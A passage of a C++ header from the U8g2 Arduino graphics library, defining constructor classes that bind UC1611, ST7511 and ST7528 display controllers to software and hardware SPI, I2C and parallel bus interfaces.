public: U8G2_UC1611_IDS4073_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_IDS4073_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_IDS4073_2_6800 : public U8G2 { public: U8G2_UC1611_IDS4073_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_2_8080 : public U8G2 { public: U8G2_UC1611_IDS4073_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_IDS4073_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_IDS4073_F_6800 : public U8G2 { public: U8G2_UC1611_IDS4073_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_F_8080 : public U8G2 { public: U8G2_UC1611_IDS4073_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_1_SW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_IDS4073_1_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_IDS4073_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_IDS4073_2_SW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_IDS4073_2_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_IDS4073_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_IDS4073_F_SW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_IDS4073_F_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_IDS4073_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_IDS4073_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7511_AVD_320X240_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7511_AVD_320X240_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7511_AVD_320X240_1_6800 : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_1_8080 : public U8G2 { public: U8G2_ST7511_AVD_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7511_AVD_320X240_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7511_AVD_320X240_2_6800 : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_2_8080 : public U8G2 { public: U8G2_ST7511_AVD_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7511_AVD_320X240_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7511_AVD_320X240_F_6800 : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7511_AVD_320X240_F_8080 : public U8G2 { public: U8G2_ST7511_AVD_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_6800 : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_8080 : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_2_6800 : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_2_8080 : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_F_6800 : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_F_8080 : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_NHD_C160100_1_SW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); 